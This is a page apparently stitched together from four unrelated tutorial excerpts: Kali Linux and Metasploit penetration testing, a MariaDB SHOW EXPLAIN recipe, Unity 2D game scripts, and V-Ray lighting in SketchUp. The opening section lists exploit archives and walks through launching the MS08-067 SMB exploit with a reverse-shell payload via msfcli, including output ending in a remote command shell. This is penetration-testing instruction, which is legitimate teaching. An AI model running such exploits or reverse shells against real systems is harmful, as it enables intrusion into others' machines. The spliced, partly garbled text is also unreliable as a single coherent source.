http://www.securityfocus.com OSVDB Vulnerabilities http://osvdb.org Packet Storm http://www.packetstormsecurity.org VUPEN Security http://www.vupen.com National Vulnerability Database http://nvd.nist.gov ISS X-Force http://xforce.iss.net US-CERT Vulnerability Notes http://www.kb.cert.org/vuls US-CERT Alerts http://www.us-cert.gov/cas/techalerts/ SecuriTeam http://www.securiteam.com Government Security Org http://www.governmentsecurity.org Secunia Advisories http://secunia.com/advisories/historic/ Security Reason http://securityreason.com XSSed XSS-Vulnerabilities http://www.xssed.com Security Vulnerabilities Database http://securityvulns.com SEBUG http://www.sebug.net BugReport http://www.bugreport.ir MediaService Lab http://lab.mediaservice.net Intelligent Exploit Aggregation Network http://www.intelligentexploit.com Hack0wn http://www.hack0wn.com Although there are many other Internet resources available, we have listed only a few reviewed ones. Kali Linux comes with an integration of exploit database from Offensive Security. This provides an extra advantage of keeping all archived exploits to date on your system for future reference and use. To access Exploit-DB, execute the following commands on your shell: # cd /usr/share/exploitdb/ # vim files.csv This will open a complete list of exploits currently available from Exploit-DB under the /pentest/exploits/exploitdb/platforms/ directory. These exploits are categorized in their relevant subdirectories based on the type of system (Windows, Linux, HP-UX, Novell, Solaris, BSD, IRIX, TRU64, ASP, PHP, and so on). Most of these exploits were developed using C, Perl, Python, Ruby, PHP, and other programming technologies. Kali Linux already comes with a handful set of compilers and interpreters that support the execution of these exploits. How to extract particular information from the exploits list? Using the power of bash commands, you can manipulate the output of any text file in order to retrieve the meaningful data. You can either use searchsploit, or this can also be accomplished by typing cat files.csv |grep '"' |cut -d";" -f3 on your console. It will extract the list of exploit titles from a files.csv file. To learn the basic shell commands, please refer to http://tldp.org/LDP/abs/html/index.html. Advanced exploitation toolkit Kali Linux is preloaded with some of the best and most advanced exploitation toolkits. The Metasploit framework (http://www.metasploit.com) is one of these. We have explained it in a greater detail and presented a number of scenarios that would effectively increase the productivity and enhance your experience with penetration testing. The framework was developed in the Ruby programming language and supports modularization such that it makes it easier for the penetration tester with optimum programming skills to extend or develop custom plugins and tools. The architecture of a framework is divided into three broad categories: libraries, interfaces, and modules. A key part of our exercises is to focus on the capabilities of various interfaces and modules. Interfaces (console, CLI, web, and GUI) basically provide the front-end operational activity when dealing with any type of modules (exploits, payloads, auxiliaries, encoders, and NOP). Each of the following modules have their own meaning and are function-specific to the penetration testing process. Exploit: This module is the proof-of-concept code developed to take advantage of a particular vulnerability in a target system Payload: This module is a malicious code intended as a part of an exploit or independently compiled to run the arbitrary commands on the target system Auxiliaries: These modules are the set of tools developed to perform scanning, sniffing, wardialing, fingerprinting, and other security assessment tasks Encoders: These modules are provided to evade the detection of antivirus, firewall, IDS/IPS, and other similar malware defenses by encoding the payload during a penetration operation No Operation or No Operation Performed (NOP): This module is an assembly language instruction often added into a shellcode to perform nothing but to cover a consistent payload space For your understanding, we have explained the basic use of two well-known Metasploit interfaces with their relevant command-line options. Each interface has its own strengths and weaknesses. However, we strongly recommend that you stick to a console version as it supports most of the framework features. MSFConsole MSFConsole is one of the most efficient, powerful, and all-in-one centralized front-end interface for penetration testers to make the best use of the exploitation framework. To access msfconsole, navigate to Applications | Kali Linux | Exploitation Tools | Metasploit | Metasploit framework or use the terminal to execute the following command: # msfconsole You will be dropped into an interactive console interface. To learn about all the available commands, you can type the following command: msf > help This will display two sets of commands; one set will be widely used across the framework, and the other will be specific to the database backend where the assessment parameters and results are stored. Instructions about other usage options can be retrieved through the use of -h, following the core command. Let us examine the use of the show command as follows: msf > show -h [*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, options [*] Additional module-specific parameters are: advanced, evasion, targets, actions This command is typically used to display the available modules of a given type or all of the modules. The most frequently used commands could be any of the following: show auxiliary: This command will display all the auxiliary modules show exploits: This command will get a list of all the exploits within the framework show payloads: This command will retrieve a list of payloads for all platforms. However, using the same command in the context of a chosen exploit will display only compatible payloads. For instance, Windows payloads will only be displayed with the Windows-compatible exploits show encoders: This command will print the list of available encoders show nops: This command will display all the available NOP generators show options: This command will display the settings and options available for the specific module show targets: This command will help us to extract a list of target OS supported by a particular exploit module show advanced: This command will provide you with more options to fine-tune your exploit execution We have compiled a short list of the most valuable commands in the following table; you can practice each one of them with the Metasploit console. The italicized terms next to the commands will need to be provided by you: Commands Description check To verify a particular exploit against your vulnerable target without exploiting it. This command is not supported by many exploits. connect ip port Works similar to that of Netcat and Telnet tools. exploit To launch a selected exploit. run To launch a selected auxiliary. jobs Lists all the background modules currently running and provides the ability to terminate them. route add subnet netmask sessionid To add a route for the traffic through a compromised session for network pivoting purposes. info module Displays detailed information about a particular module (exploit, auxiliary, and so on). set param value To configure the parameter value within a current module. setg param value To set the parameter value globally across the framework to be used by all exploits and auxiliary modules. unset param It is a reverse of the set command. You can also reset all variables by using the unset all command at once. unsetg param To unset one or more global variables. sessions Ability to display, interact, and terminate the target sessions. Use with -l for listing, -i ID for interaction, and -k ID for termination. search string Provides a search facility through module names and descriptions. use module Select a particular module in the context of penetration testing. It is important for you to understand their basic use with different sets of modules within the framework. MSFCLI Similar to the MSFConsole interface, a command-line interface (CLI) provides an extensive coverage of various modules that can be launched at any one instance. However, it lacks some of the advanced automation features of MSFConsole. To access msfcli, use the terminal to execute the following command: # msfcli -h This will display all the available modes similar to that of MSFConsole as well as usage instructions for selecting the particular module and setting its parameters. Note that all the variables or parameters should follow the convention of param=value and that all options are case-sensitive. We have presented a small exercise to select and execute a particular exploit as follows: # msfcli windows/smb/ms08_067_netapi O [*] Please wait while we load the module tree...      Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    RHOST                     yes       The target address    RPORT    445              yes       Set the SMB service port    SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC) The use of O at the end of the preceding command instructs the framework to display the available options for the selected exploit. The following command sets the target IP using the RHOST parameter: # msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P [*] Please wait while we load the module tree...   Compatible payloads ===================      Name                             Description    ----                             -----------    generic/debug_trap               Generate a debug trap in the target process    generic/shell_bind_tcp           Listen for a connection and spawn a command shell ... Finally, after setting the target IP using the RHOST parameter, it is time to select the compatible payload and execute our exploit as follows: # msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E [*] Please wait while we load the module tree... [*] Started reverse handler on 192.168.0.3:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (240 bytes) to 192.168.0.7 [*] Command shell session 1 opened (192.168.0.3:4444 -> 192.168.0.7:1027)   Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.   C:WINDOWSsystem32> As you can see, we have acquired a local shell access to our target machine after setting the LHOST parameter for a chosen payload.

(For more resources related to this topic, see here.) Getting ready Import the ISFDB database which is available under Creative Commons licensing. How to do it... Open a terminal window and launch the mysql command-line client and connect to the isfdb database using the following statement. mysql isfdb Next, we open another terminal window and launch another instance of the mysql command-line client. Run the following command in the first window: ALTER TABLE title_relationships DROP KEY titles; Next, in the first window, start the following example query: SELECT titles.title_id AS ID, titles.title_title AS Title, authors.author_legalname AS Name, (SELECT COUNT(DISTINCT title_relationships.review_id) FROM title_relationships WHERE title_relationships.title_id = titles.title_id) AS reviews FROM titles,authors,canonical_author WHERE (SELECT COUNT(DISTINCT title_relationships.review_id) FROM title_relationships WHERE title_relationships.title_id = titles.title_id)>=10 AND canonical_author.author_id = authors.author_id AND canonical_author.title_id=titles.title_id AND titles.title_parent=0 ; Wait for at least a minute and then run the following query to look for the details of the query that we executed in step 4 and QUERY_ID for that query: SELECT INFO, TIME, ID, QUERY_ID FROM INFORMATION_SCHEMA.PROCESSLIST WHERE TIME > 60G Run SHOW EXPLAIN in the second window (replace id in the following command line with the numeric ID that we discovered in step 5): SHOW EXPLAIN FOR id Run the following command in the second window to kill the query running in the first window (replace query_id in the following command line with the numeric QUERY_ID number that we discovered in step 5): KILL QUERY ID query_id; In the first window, reverse the change we made in step 3 using the following command: ALTER TABLE title_relationships ADD KEY titles (title_id); How it works... The SHOW EXPLAIN statement allows us to obtain information about how MariaDB executes a long-running statement. This is very useful for identifying bottlenecks in our database. The query in this article will execute efficiently only if it touches the indexes in our data. So, for demonstration purposes, we will first sabotage the title_relationships table by removing the title's index. This causes our query to unnecessarily iterate through hundreds of thousands of rows and generally take far too long to complete. The output of steps 3 and 4 will look similar to the following screenshot: While our sabotaged query is running, and after waiting for at least a minute, we switch to another window and look for all queries that have been running for longer than 60 seconds. Our sabotaged query will likely be the only one in the output. From this output, we get ID and QUERY_ID. The output of the command will look like the following with the ID and QUERY_ID as the last two items: Next, we use the ID number to execute SHOW EXPLAIN for our query. Incidentally, our query looks up all titles in the database that have 10 or more reviews and displays the title, author, and the number of reviews that the title has. The EXPLAIN for our query will look similar to the following screenshot: An easy-to-read version of this EXPLAIN is available at https://mariadb.org/ea/8v65g. Looking at rows 4 and 5 of EXPLAIN, it's easy to see why our query runs for so long. These two rows are dependent subqueries of the primary query (the first row). In the first query, we see that 117044 rows will be searched, and then, for the two dependent subqueries, MariaDB searches through 83389 additional rows, twice. Ouch. If we were analyzing a slow query in the real world at this point, we would fix the query to not have such an inefficient subquery, or we would add a KEY to our table to make the subquery efficient. If we're part of a larger development team, we could send the output of SHOW EXPLAIN and the query to the appropriate people to easily and accurately show them what the problem is with the query. In our case, we know exactly what to do; we will add back the KEY that we removed earlier. For fun, after adding back the KEY, we could rerun the query and the SHOW EXPLAIN command to see the difference that having the KEY in place makes. We'll have to be quick though, as with the KEY there, the query will only take a few seconds to complete (depending on the speed of our computer). There's more... The output of SHOW EXPLAIN is always accompanied by a warning. The purpose of this warning is to show us the command that is being run. After running SHOW EXPLAIN on a process ID, we simply issue SHOW WARNINGSG and we will see what SQL statement the process ID is running: This is useful for very long-running commands that after their start, takes a long time to execute, and then returns back at a time where we might not remember the command we started. In the examples of this article, we're using "G" as the delimiter instead of the more common ";" so that the data fits the page better. We can use either one. See also The full documentation of the KILL QUERY ID command can be found at https://mariadb.com/kb/en/data-manipulation-kill-connectionquery/ The full documentation of the SHOW EXPLAIN command can be found at https://mariadb.com/kb/en/show-explain/ Summary In this article, we saw the functionality of the SHOW EXPLAIN feature after altering the database using various queries. Further information regarding the SHOW EXPLAIN command can be found in the official documents provided in the preceding section. Resources for Article: Further resources on this subject: Installing MariaDB on Windows and Mac OS X [Article] A Look Inside a MySQL Daemon Plugin [Article] Visual MySQL Database Design in MySQL Workbench [Article]

(For more resources related to this topic, see here.) As a developer, we have been asked numerous times about how to implement parallax scrolling in a 2D game. Cerulean Games, my game studio, has even had the elements of parallax scrolling as the "do or die" requirement to close a project deal with a client. In reality, this is incredibly easy to accomplish, and there are a number of ways to do this. In Power Rangers Samurai SMASH! (developed by Cerulean Games for Curious Brain; you can find it in the iOS App Store), we implemented a simple check that would see what the linear velocity of the player is and then move the background objects in the opposite direction. The sprites were layered on the Z plane, and each was given a speed multiplier based on its distance from the camera. So, as the player moved to the right, all parallax scrolling objects would move to the left based on their multiplier value. That technique worked, and it fared us and our client quite well for the production of the game. This is also a common and quick way to manage parallax scrolling, and it's also pretty much how we're going to manage it in this game as well. OK, enough talk! Have at you! Well, have at the code: Create a new script called ParallaxController and make it look like the following code: -using UnityEngine; using System.Collections; public class ParallaxController : MonoBehaviour {     public GameObject[] clouds;     public GameObject[] nearHills;     public GameObject[] farHills;     public float cloudLayerSpeedModifier;     public float nearHillLayerSpeedModifier;     public float farHillLayerSpeedModifier;     public Camera myCamera;     private Vector3 lastCamPos;     void Start()     {         lastCamPos = myCamera.transform.position;     }     void Update()     {         Vector3 currCamPos = myCamera.transform.position;         float xPosDiff = lastCamPos.x - currCamPos.x;         adjustParallaxPositionsForArray(clouds,           cloudLayerSpeedModifier, xPosDiff);         adjustParallaxPositionsForArray(nearHills,           nearHillLayerSpeedModifier, xPosDiff);         adjustParallaxPositionsForArray(farHills,           farHillLayerSpeedModifier, xPosDiff);         lastCamPos = myCamera.transform.position;     }     void adjustParallaxPositionsForArray(GameObject[]       layerArray, float layerSpeedModifier, float xPosDiff)     {         for(int i = 0; i < layerArray.Length; i++)         {             Vector3 objPos =               layerArray[i].transform.position;             objPos.x += xPosDiff * layerSpeedModifier;             layerArray[i].transform.position = objPos;         }     } } Create a new GameObject in your scene and call it _ParallaxLayers. This will act as the container for all the parallax layers. Create three more GameObjects and call them _CloudLayer, _NearHillsLayer, and _FarHillsLayer, respectively. Place these three objects inside the _ParallaxLayers object, and place the Parallax Controller component onto the _ParallaxLayers object. Done? Good. Now we can move some sprites. Import the sprites from SpritesParallaxScenery. Start placing sprites in the three layer containers you created earlier. For the hills you want to be closer, place the sprites in the _NearHillsLayer container; for the hills you want to be further away, place the sprites in _FarHillsLayer; and place the clouds in the _CloudLayer container. The following screenshot shows an example of what the layers will now look like in the scene: Pro tip Is this the absolute, most efficient way of doing parallax? Somewhat; however, it's a bit hardcoded to only really fit the needs of this game. Challenge yourself to extend it to be flexible and work for any scenario! Parallax layer ordering Wait, you say that the objects are layered in the wrong order? Your hills are all mixed up with your platforms and your platforms are all mixed up with your hills? OK, don't panic, we've got this. What you need to do here is change the Order in Layer option for each of the parallax sprites. You can find this property in the Sprite Renderer component. Click on one of the sprites in your scene, such as one of the clouds, and you can see it in the Inspector panel. Here's a screenshot to show you where to look: Rather than changing each sprite individually, we can easily adjust the sprites in bulk by performing the following steps: Select all of your cloud layer sprites, and under their Sprite Renderer components, set their Order in Layer to 0. Set the Order in Layer property of the _NearHillsLayer sprites to 1 and that of the _FarHillsLayer sprites to 0. Select the Prefab named Platform and set its Order in Layer to 2; you should see all of your Platform sprites instantly update in the scene. Set the Order in Layer values of the Prefabs for Enemy and Player Bullet to 2. Set the sprite on the Player object in the scene to 2 as well. Finally, set the Wall objects to 3 and you're good to go. With the layers all set up, let's finish setting up the parallax layers. First, finish placing any additional parallax sprites; I'll wait. Brilliant! Now, go to the _ParallaxLayers object and let's play around with that Parallax Controller component. We're going to want to add all of those sprites to Parallax Controller. To make this easy, look at the top-right corner of the Inspector panel. See the little lock icon? Click on it. Now, regardless of what you do, the Parallax Controller component will not be deselected. Since it can't be deselected, you can now easily drag-and-drop all of the Cloud sprites into the Clouds array in the ParallaxController component, and all of the _FarHillsLayer child objects into the Far Hills array—you see where this is going. Set the My Camera field to use the Main Camera object. Finally, let's set some values in those Layer Speed Modifier fields. The higher the number, the faster the object will move as the camera moves. As an example, we set the Cloud layer to 0.05, the Near layer to 0.2, and the Far layer to 0.1. Feel free though to play with the values and see what you like! Go ahead and play the game. Click on the play button and watch those layers move! But, what's this? The particles that burst when an enemy is defeated render behind the sprites in the background—actually, they render behind all the sprites! To fix this, we need to tell Unity to render the particles on a layer in front of the sprites. By default, the sprites render after the particles. Let's change that. First, we need to create a new sorting layer. These are special types of layers that tell Unity the order to render things in. Go to the Tags & Layers window and look out for the drop-down menu called Sorting Layers. Add a new layer called ParticleLayer on Layer 1, as shown in the following screenshot: With this in place, it means anything with the Sorting Layers menu of ParticleLayer will render after the Default layer. Now, we need a way to assign this Sorting Layer to the particle system used when enemies are defeated. Create a new script called ParticleLayering and make it look like the following code: using UnityEngine; using System.Collections; public class ParticleLayering : MonoBehaviour {     public string sortLayerString = "";     void Start ()     {         particleSystem.renderer.sortingLayerName = sortLayerString;     } } Add this script to the EnemyDeathFX Prefab and set the Sort Layer String field to ParticleLayer. Go ahead and play the game again now to watch those particles fly in front of the other objects. Finally, if you want a solid color background to your scene, you don't need to worry about adding a colored plane or anything. Simply select the Main Camera object, and in the Inspector panel, look for the Background field in the Camera component. Adjust the color there as per your need. For the example game, we made this color a nice sky blue with the following values: R: 128, G: 197, B: 232, and A: 0. The one thing you may notice we're missing is something at the bottom of the scene. Here's a nice little challenge for you. We've given you a Lava sprite. Now, add in a lava layer of parallax sprites in the foreground using all the info you've read in this article. You can do this! Let's score! One of the most important elements to a game is being able to track progress. A quick and simple way to do this is to implement a score system. In our case, we will have a score that increases whenever you defeat an enemy. Now, Unity does have a built-in GUI system. However, it has some drawbacks. With this in mind, we won't be relying on Unity's built-in system. Instead, we are going to create objects and attach them to the camera, which in turn will allow us to have a 3D GUI. Pro tip If you want to use what this author believes is the best UI system for Unity, purchase a license for NGUI from the Unity Asset Store. I'm not the only one to think it's the best; Unity hired the NGUI developer to build the new official UI system for Unity itself. Let's build out some GUI elements: Create a 3D Text object by navigating to the menu item GameObject | Create Other; name it Score. Make it a child of the Main Camera GameObject and align it such that it sits in the top-left corner of the screen. Set its position to X: -6.91, Y: 4.99, Z: 10 to get this effect. Make the text color solid black and adjust the scaling so that it looks the way you want it to. Set the Anchor field to Upper Left and Alignment to Left. Adjust the scene to your taste, but it should look a little something like the following screenshot: Pro tip Unity's default 3D text font looks rather low quality in most situations. Try importing your own font and then set the font size to something much higher than you would usually need; often around 25 to 40. Then, when you place it in the world, it will look crisp and clean. Let's make it so that the Score visual element can actually track the player's score. Create a new script called ScoreWatcher and write the following code in it: using UnityEngine; using System.Collections; public class ScoreWatcher : MonoBehaviour {     public int currScore = 0;     private TextMesh scoreMesh = null;         void Start()     {         scoreMesh = gameObject.GetComponent<TextMesh>(); scoreMesh.text = "0";     }         void OnEnable()     {         EnemyControllerScript.enemyDied += addScore;     }         void OnDisable()     {         EnemyControllerScript.enemyDied -= addScore;     }         void addScore(int scoreToAdd)     {         currScore += scoreToAdd;         scoreMesh.text = currScore.ToString();     } } You may notice that in the preceding script, we are listening to the enemyDied event on the EnemyControllerScript. What we did here was we allowed other objects to easily create scoring events that the Score object can optionally listen to. There is lots of power to this! Let's add that event and delegate to the enemy. Open up EnemyControllerScript, and in the beginning, add the following code:     // States to allow objects to know when an enemy dies     public delegate void enemyEventHandler(int scoreMod);         public static event enemyEventHandler enemyDied; Then, down in the hitByPlayerBullet function, add the following code just above Destroy(gameObject,0.1f);, right around line 95: // Call the EnemyDied event and give it a score of 25. if(enemyDied != null)     enemyDied(25); Add the ScoreWatcher component to the Score object. Now, when you play the game and defeat the enemies, you can watch the score increase by 25 points each time! Yeeee-haw! Sorry 'bout that... shootin' things for points always makes me feel a bit Texan. Enemies – forever! So, you defeated all your enemies and now find yourself without enemies to defeat. This gets boring fast; so, let's find a way to get more enemies to whack. To do this, we are going to create enemy spawn points in the form of nifty rotating vortexes and have them spit out enemies whenever we kill other enemies. It shall be glorious, and we'll never be without friends to give gifts—and by gifts, we mean bullets. First things first. We need to make a cool-looking vortex. This vortex will be a stacked, animated visual FX object that is built for a 2D world. Don't worry, we've got you covered on textures, so please go through the following steps: Import the ones in the assets folder under SpritesVortex. Create a new GameObject called Vortex and add all three of the Vortex sprites in it, with each of their Position values set to X:0, Y:0, and Z:0. Adjust their Order in Layer values so that the Vortex_Back child is set to 10, Vortex_Center is set to 11, and Vortex_Front is set to 12. You should now have an object that looks something like the following screenshot: Go ahead and give it a nice spinning animation by rotating the Z axis from 0 to 356. Once you're happy with it, create a new script called EnemyRespawner and code it up as shown in the following code snippet: using UnityEngine; using System.Collections; public class EnemyRespawner : MonoBehaviour {     public GameObject spawnEnemy = null;     float respawnTime = 0.0f;         void OnEnable()     {         EnemyControllerScript.enemyDied += scheduleRespawn;     }         void OnDisable()     {         EnemyControllerScript.enemyDied -= scheduleRespawn;     }         // Note: Even though we don't need the enemyScore, we still need to accept it because the event passes it     void scheduleRespawn(int enemyScore)     {         // Randomly decide if we will respawn or not         if(Random.Range(0,10) < 5)             return;                 respawnTime = Time.time + 4.0f;     }         void Update()     {         if(respawnTime > 0.0f)         {             if(respawnTime < Time.time)             {                 respawnTime = 0.0f;                 GameObject newEnemy = Instantiate(spawnEnemy) as GameObject;                 newEnemy.transform.position = transform.position;             }         }     } } Now attach the preceding script to your Vortex object, populate the Spawn Enemy field with the Enemy Prefab, and save the Vortex object as a Prefab. Scatter a bunch of Vortex Prefabs around the level and you can get the hydra effect, where killing one enemy will create two more enemies or even more than two! Also, if you haven't already done so, you may want to go to the Physics Manager option and adjust the settings so that enemies won't collide with other enemies. One more thing—those enemies sort of glide out of their portals very awkwardly. Let's boost the gravity so they fall faster. Click on the main Enemy Prefab and change the Gravity Scale value of the RigidBody 2D component to 30. Now, they'll fall properly! Pro tip There are so many things you can do with enemy spawners that go far, far outside the context of this article. Take a shot at adding some features yourself! Here are a few ideas: Make the spawn vortexes play a special visual effect when an enemy is spawned Give vortexes a range so that they only spawn an enemy if another enemy was killed in their range Make vortexes move around the level Make vortexes have multiple purposes so that enemies can walk into one and come out another Have a special gold enemy worth bonus points spawn after every 100 kills Make an enemy that, when defeated, spawns other enemies or even collectable objects that earn the player bonus points! Summary So, what have we learned here today aside from the fact that shooting enemies with bullets earns you points? Well, check this out. You now know how to use parallax scrolling, 2D layers, and generate objects; and how to use a scoring system. Enemies dying, enemies spawning, freakin' vortexes? I know, you're sitting there going, "Dude, OK, I'm ready to get started on my first 2D game... the next side scrolling MMO Halo meets Candy Crush with bits of Mass Effect and a little Super Mario Bros!" Resources for Article: Further resources on this subject: Unity Game Development: Interactions (Part 1) [Article] Unity Game Development: Interactions (Part 2) [Article] Unity Game Development: Welcome to the 3D world [Article]

(For more resources related to this topic, see here.) Lighting that sets the mood! While a good composition gives us a solid foundation on which to build a photographic render, if we try to render a scene that has no lighting, well let's just say the end results will fall quite a way short of those desired. The brilliant thing about lighting a scene with V-Ray in SketchUp is that a complete day-lighting system that consists of both the Sun and Sky elements is, by default, set up and ready to render with as soon as we start creating geometry in the scene. For newer users, this can obviously help tremendously when it comes to getting up and running with the software. Controlling the placement of the Sun is extremely easy as we simply need to make use of SketchUp's built-in shadow controls, wherein we set the month of the year along with the time of day and time zone, and then we can render. What we instantly get is natural-looking daylight without having to do anything at all! Better still is the fact that V-Ray also sets up a basic indirect (or global) illumination system for us automatically. This means we can even render interior Arch Viz shots right out of the box without having to do any extra set up work beyond, of course, getting our geometry created and then positioned in the scene. Global illumination is a general name for a group of algorithms used in 3D computer graphics that are meant to add more realistic lighting to 3D scenes. Such algorithms take into account not only the light which comes directly from a light source (direct illumination), but also subsequent cases in which light rays from the same source are reflected by other surfaces in the scene, reflective as well as non-reflective (indirect illumination). The source of this content is Wikipedia. To look at the kind of renders we can get from V-Ray without doing any real lighting setup at all, either continue to work with your current scene or open up the Ch01_03_Lighting.skp file from your Exercise_Files folder, if you prefer to work with the same scene as I will be using. Stepping through the render process The scene or camera angle we are using here (Scene 2) has been deliberately chosen to help us properly evaluate the quality and level of lighting that we are getting in our scene. It can do this because it affords us a full view of the environment. With our camera view set to Scene 2, let's take a render by clicking the render button on the V-Ray toolbar. Once the initial translation phase is complete, V-Ray opens up its own frame buffer window and starts the rendering phase. One of the very nice features of V-Ray Version 2.0 is the fact that translation times in scenes are now significantly faster (in the vast majority of cases) than rendering the same scene in V-Ray Version 1.49. The first activity we see in the frame buffer window will be V-Ray's indirect illumination calculations. First of all, the light cache and then the irradiance mapping engines calculate the level of illumination and light bounce requirements for the scene. This is based on the parameters set up in the V-Ray option editor and the materials applied through the materials editor. Irradiance mapping and light cache are the two indirect illumination engines set up by default in V-Ray Version 2.0 for SketchUp. The final part of this process is the rendering of the image itself. In this instance, what we get, as we no doubt could discern from the GI calculations, is way too dark for the type of bright and airy feel in the interior that we are looking for. This brings us to a critical aspect of lighting in V-Ray, exposure! Using V-Ray's physical camera model Another default aspect of the V-Ray setup in SketchUp is that it makes use of a physical camera model for rendering. This means that real-world parameters such as shutter speed, F numbers (or F stops), and ISO (or film speed) values are used to control various aspects of the render, such as exposure, motion blur, and depth of field. Basically, if we understand how to control these elements on a real-world camera, be it film or digital, then we already have a big head start when it comes to rendering using the V-Ray physical camera model. To access the physical camera controls, we need to revisit the V-Ray toolbar and click on the option editor button once more. Then, if we open the Camera rollout, you can see in the following screenshot that we now have access to a wealth of camera controls and parameters. As we have already noted that our render is quite a bit darker than desired, the controls we are interested in would be those capable of affecting the exposure levels, which would be as follows: Shutter Speed F Number Film Speed (ISO) As a general rule, I prefer to handle exposure levels using only the film speed value as much as I possibly can. This is due to the fact that it is the only one of the three controls in what is often referred to as the exposure triangle that isn't used to control some other aspect of the physical camera model. Shutter speed is also used to control motion blur while the F number (or F stop) value will typically be the control mechanism for any Depth of Field (DOF) effects in our render. To get some nice brightness levels in this instance, let's adjust the film speed or ISO value and set it to 1200. Taking another render by hitting the render button on the far right of the V-Ray frame buffer's top toolbar will show us that our illumination levels are now much more appropriate for the bright, airy feel we want to create. The higher the ISO number we use in a render, the more sensitive V-Ray becomes to light, thereby producing a brighter final image. Unlike the ISO setting on a digital camera, we can increase this value as much as we like in V-Ray without the fear of introducing artifacts or noise into our rendered images. Global illumination controls The next aspect of our lighting setup that needs a little attention is the quality of the indirect illumination solution. At this moment, we can see quite a bit of dark splotching on our nice clean geometry. This often happens when we work with scenes that present a little bit of a challenge to the indirect illumination engines, which, of course, interiors nearly always do. Couple this with the reasonably low-quality default settings that V-Ray sets up, and we get splotches or noise patches in our render. To clean this up a little, let's perform the following steps: Jump into the Irradiance map rollout in the option editor, and in the Basic Parameters section, set the minimum and maximum rate values to -2 and -1 respectively. We can also increase the HSph.subdivs value to 125 and the Interp.samples value to 35. Next, we can jump into the Light cache rollout and increase the Subdivs (or subdivisions) value to 1200. If we take another render by hitting the button on the toolbar, we should see a marked improvement in the level of splotchiness present in the image; not that every trace of it will be gone, mind you. When working with interior scenes, creating completely noise-free Global Illumination (GI) renders can prove to be quite costly in terms of the time it takes to render the final image. What we often have to aim for then is a situation that would generally be considered free enough of noise to be called an acceptable final solution. One reason why we can often get away with this is the fact that once materials get applied to the geometry, any slight levels of splotchiness still found in the scene tend to oftentimes just blend into the materials themselves. We do need to bear in mind that every increase in quality settings inside a render engine, such as those we have just applied to the indirect illumination controls, will result in a corresponding increase in the time it takes for the render to complete! This is typically referred to as the speed verses quality conundrum.